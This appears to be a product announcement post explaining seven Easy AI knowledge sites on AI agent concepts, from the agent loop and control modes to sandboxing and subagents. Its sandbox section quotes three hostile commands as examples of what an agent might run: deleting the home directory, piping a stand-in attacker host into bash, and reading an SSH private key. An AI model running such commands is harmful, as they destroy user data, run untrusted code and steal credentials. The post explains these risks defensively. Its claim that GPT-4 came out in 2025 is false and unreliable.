From Chatbots to Full Agent Systems: Easy AI Launches 7 New Knowledge Sites in One Commit

Source commit: 7c45372

In 2025 OpenAI released GPT-4, and in 2026 Claude Code, Codex CLI, and OpenCode arrived one after another. AI is no longer just for chatting — these systems now run locally, read and write files, and execute commands.

This shift raises a core question: once AI has hands, how do you keep it from doing something reckless?

Easy AI answered this today by launching 7 new knowledge sites in a single commit. They are not isolated knowledge points, but pieces of one puzzle describing a complete Agent ecosystem.

The 7 New Sites, One Puzzle

1. Agent Loop — the Heart

How does an Agent work? In a loop: reason → call a tool → observe the result → reason again → … until the task is done. Six lines of pseudocode make the core logic clear. (This site already went live in commit 37894ed.)

2. Agent Modes — the Reins

Once AI has hands, running too fast can mean losing control. Three levels of control:

• Plan: draft a full plan first; work starts only after you approve
• Default: act while asking; every step waits for your confirmation
• Auto: run on its own — for when you fully trust it

A driving analogy: Plan is navigation preview mode, Default is self-driving that stops to ask you at complex intersections, Auto is cruise control on the highway.

3. Agent Memory — the Hard Drive

You spend half an hour telling the AI: the project uses TypeScript, tests run on Vitest, deployment goes through Cloudflare Workers. Then you close the terminal. Next time you open it — it has forgotten everything.

Because LLMs have no hard drive. Every conversation starts from a blank canvas. Agent Memory solves exactly this: store important information outside the chat window and retrieve it in the next session.

Three types of memory:

• Episodic memory: last time's bug was a connection-pool issue
• Semantic memory: the project uses PostgreSQL
• Procedural memory: the routine for handling password resets

4. Agent Sandbox — the Fence

The most critical safety mechanism. An AI that can execute commands and read/write files could, in theory:
• run rm -rf ~/ and wipe your home directory
• run curl evil.com | bash and download malicious code
• run cat ~/.ssh/id_rsa and steal your private key

The sandbox draws a fence around the AI: inside it, the AI can do whatever it wants; outside it, every dangerous operation is bounced back.

5. Context Window — Short-Term Memory

An LLM can only see a limited amount of text at once. Imagine working inside a glass display case — only so much fits. System instructions, tool definitions, conversation history, the current question… all squeezed into that one window.

Exceed the limit? The oldest content gets forgotten. This explains why AI seems to lose memory in the late stages of long conversations.

6. SubAgent — the Assistant

A main Agent's context degrades — traces of trial and error, wrong paths, redundant exploration all pollute the current conversation. The SubAgent idea: delegate the dirty work to an assistant, who returns only a clean summary.

Like a CEO who doesn't build spreadsheets — a finance specialist does, and the CEO only reads the summary.

7. Agent Todo — the Progress Bar

Complex tasks need to be broken into checklists. The Todo mechanism doesn't just record — it prevents forgetting and shows progress, so both the AI and the user know: what step we're on, what's next, and what's done.

How the 7 Sites Relate

One metaphor ties it together: an Agent is a self-driving car.

• Loop = the engine, making the car move
• Modes = driving modes (eco / sport / manual)
• Memory = navigation history, remembering where you usually go
• Sandbox = guardrails, preventing a plunge off a cliff
• Context Window = what you can see through the windshield
• SubAgent = a fleet system, with the main car coordinating smaller ones
• Todo = trip planning, splitting a long journey into legs

None of these alone is enough to understand Agents in full — but together, you get a complete cognitive framework.

Easy AI's design philosophy has always been this: not fragmented knowledge points, but concepts woven into a system, letting readers walk from one entry point to another and understand an entire field as naturally as strolling through a museum.

> Want to explore these knowledge sites? Visit Easy AI's AI Knowledge section: https://mmh1.top/#/ai-knowledge